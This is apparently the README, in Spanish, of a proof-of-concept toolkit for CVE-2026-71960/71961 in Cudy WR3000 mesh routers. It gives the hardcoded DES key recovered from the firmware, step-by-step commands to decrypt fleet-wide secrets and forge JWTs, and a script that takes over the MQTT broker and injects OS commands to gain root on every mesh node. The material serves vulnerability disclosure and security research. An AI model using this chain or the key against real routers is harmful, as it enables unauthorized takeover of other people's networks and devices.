
Kit de herramientas PoC que desempaqueta el firmware del router, descifra los secretos del dispositivo, forja tokens JWT y explota las vulnerabilidades CVE-2026-71960/71961 para tomar el control de los brokers MQTT mesh Cudy WR3000.
Herramientas PoC para el artículo de Hunt-Benito "La misma clave abre todas las cajas: CVE-2026-71960 — Secreto JWT hardcodeado en el broker MQTT mesh WR3000 de Cudy" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
Se encadena con CVE-2026-71961 (inyección de comandos del sistema operativo a través de la misma interfaz mesh MQTT) para lograr la ejecución de comandos como root en todos los nodos de un mesh Cudy WR3000 2.0 que ejecute firmware anterior a 2.5.24.
| Archivo | Propósito |
|---|---|
extract_firmware.py | Desempaqueta un .bin público de sysupgrade de Cudy (hboot1tag + UBI) en un sistema de archivos OpenWrt completo. Verificado contra 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | Deriva la clave DES (DES_string_to_key("88T3j05dtFu8="), IV cero — recuperada de libbdinfo.so) y descifra un volcado MTD bdinfo de tu propio dispositivo, revelando deviceid y el secret compartido por toda la flota. |
forge_jwt.py | Genera un token HS256 que satisface todas las comprobaciones de mosquitto_auth_unpwd_check (exp mínima 1577826000, concesión de nombre de usuario que contiene el deviceid). Autoverifica el ciclo completo. |
mqtt_takeover.py | Se conecta al broker en TCP 1883 con el JWT forjado, se suscribe a router/# y (opcionalmente, --cmd) explota el sumidero command.lua → io.popen de CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so llama a bdinfo_get_value("deviceid") y bdinfo_get_value("secret") al arrancar el broker; el valor secret es la clave de firma HS256 para todos los JWT del mesh.exp del plugin es exp >= 1577826000 (2019-12-31T21:00:00Z); el resultado de la llamada a time() nunca se compara — los tokens en realidad nunca expiran.alg: none es rechazado (EINVAL cuando se suministra una clave) — el secreto es realmente necesario; no hay atajo por confusión de algoritmos.mosquitto_auth_acl_check() devuelve SUCCESS incondicionalmente — un CONNECT aceptado concede lectura/escritura en todos los temas.0.0.0.0:1883 (2.4.x) significa que no se necesita certificado de cliente TLS. El firmware corregido 2.5.24 elimina el listener 1883, suprime por completo el secreto de bdinfo y se basa en TLS mutuo.Solo para investigación de seguridad y educación autorizadas. Ejecute únicamente contra dispositivos que sean de su propiedad o para los que tenga permiso explícito por escrito de realizar pruebas. Los autores no asumen ninguna responsabilidad por el mal uso.